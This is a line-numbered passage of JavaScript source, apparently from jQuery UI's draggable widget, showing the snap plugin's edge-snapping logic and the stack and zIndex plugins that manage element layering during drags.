1088 var o = i.options;
1089
1090 i.snapElements = [];
1091
1092 $( o.snap.constructor !== String ? ( o.snap.items || ":data(ui-draggable)" ) : o.snap )
1093 .each( function() {
1094 var $t = $( this ),
1095 $o = $t.offset();
1096 if ( this !== i.element[ 0 ] ) {
1097 i.snapElements.push( {
1098 item: this,
1099 width: $t.outerWidth(), height: $t.outerHeight(),
1100 top: $o.top, left: $o.left
1101 } );
1102 }
1103 } );
1104
1105 },
1106 drag: function( event, ui, inst ) {
1107
1108 var ts, bs, ls, rs, l, r, t, b, i, first,
1109 o = inst.options,
1110 d = o.snapTolerance,
1111 x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width,
1112 y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height;
1113
1114 for ( i = inst.snapElements.length - 1; i >= 0; i-- ) {
1115
1116 l = inst.snapElements[ i ].left - inst.margins.left;
1117 r = l + inst.snapElements[ i ].width;
1118 t = inst.snapElements[ i ].top - inst.margins.top;
1119 b = t + inst.snapElements[ i ].height;
1120
1121 if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d ||
1122 !$.contains( inst.snapElements[ i ].item.ownerDocument,
1123 inst.snapElements[ i ].item ) ) {
1124 if ( inst.snapElements[ i ].snapping ) {
1125 if ( inst.options.snap.release ) {
1126 inst.options.snap.release.call(
1127 inst.element,
1128 event,
1129 $.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item } )
1130 );
1131 }
1132 }
1133 inst.snapElements[ i ].snapping = false;
1134 continue;
1135 }
1136
1137 if ( o.snapMode !== "inner" ) {
1138 ts = Math.abs( t - y2 ) <= d;
1139 bs = Math.abs( b - y1 ) <= d;
1140 ls = Math.abs( l - x2 ) <= d;
1141 rs = Math.abs( r - x1 ) <= d;
1142 if ( ts ) {
1143 ui.position.top = inst._convertPositionTo( "relative", {
1144 top: t - inst.helperProportions.height,
1145 left: 0
1146 } ).top;
1147 }
1148 if ( bs ) {
1149 ui.position.top = inst._convertPositionTo( "relative", {
1150 top: b,
1151 left: 0
1152 } ).top;
1153 }
1154 if ( ls ) {
1155 ui.position.left = inst._convertPositionTo( "relative", {
1156 top: 0,
1157 left: l - inst.helperProportions.width
1158 } ).left;
1159 }
1160 if ( rs ) {
1161 ui.position.left = inst._convertPositionTo( "relative", {
1162 top: 0,
1163 left: r
1164 } ).left;
1165 }
1166 }
1167
1168 first = ( ts || bs || ls || rs );
1169
1170 if ( o.snapMode !== "outer" ) {
1171 ts = Math.abs( t - y1 ) <= d;
1172 bs = Math.abs( b - y2 ) <= d;
1173 ls = Math.abs( l - x1 ) <= d;
1174 rs = Math.abs( r - x2 ) <= d;
1175 if ( ts ) {
1176 ui.position.top = inst._convertPositionTo( "relative", {
1177 top: t,
1178 left: 0
1179 } ).top;
1180 }
1181 if ( bs ) {
1182 ui.position.top = inst._convertPositionTo( "relative", {
1183 top: b - inst.helperProportions.height,
1184 left: 0
1185 } ).top;
1186 }
1187 if ( ls ) {
1188 ui.position.left = inst._convertPositionTo( "relative", {
1189 top: 0,
1190 left: l
1191 } ).left;
1192 }
1193 if ( rs ) {
1194 ui.position.left = inst._convertPositionTo( "relative", {
1195 top: 0,
1196 left: r - inst.helperProportions.width
1197 } ).left;
1198 }
1199 }
1200
1201 if ( !inst.snapElements[ i ].snapping && ( ts || bs || ls || rs || first ) ) {
1202 if ( inst.options.snap.snap ) {
1203 inst.options.snap.snap.call(
1204 inst.element,
1205 event,
1206 $.extend( inst._uiHash(), {
1207 snapItem: inst.snapElements[ i ].item
1208 } ) );
1209 }
1210 }
1211 inst.snapElements[ i ].snapping = ( ts || bs || ls || rs || first );
1212
1213 }
1214
1215 }
1216} );
1217
1218$.ui.plugin.add( "draggable", "stack", {
1219 start: function( event, ui, instance ) {
1220 var min,
1221 o = instance.options,
1222 group = $.makeArray( $( o.stack ) ).sort( function( a, b ) {
1223 return ( parseInt( $( a ).css( "zIndex" ), 10 ) || 0 ) -
1224 ( parseInt( $( b ).css( "zIndex" ), 10 ) || 0 );
1225 } );
1226
1227 if ( !group.length ) {
1228 return;
1229 }
1230
1231 min = parseInt( $( group[ 0 ] ).css( "zIndex" ), 10 ) || 0;
1232 $( group ).each( function( i ) {
1233 $( this ).css( "zIndex", min + i );
1234 } );
1235 this.css( "zIndex", ( min + group.length ) );
1236 }
1237} );
1238
1239$.ui.plugin.add( "draggable", "zIndex", {
1240 start: function( event, ui, instance ) {
1241 var t = $( ui.helper ),
1242 o = instance.options;
1243
1244 if ( t.css( "zIndex" ) ) {
1245 o._zIndex = t.css( "zIndex" );
1246 }
1247 t.css( "zIndex", o.zIndex );
1248 },
1249 stop: function( event, ui, instance ) {
1250 var o = instance.options;
1251
1252 if ( o._zIndex ) {
1253 $( ui.helper ).css( "zIndex", o._zIndex );
1254 }
1255 }
1256} );
1257
1258return $.ui.draggable;
1259
1260} );
1261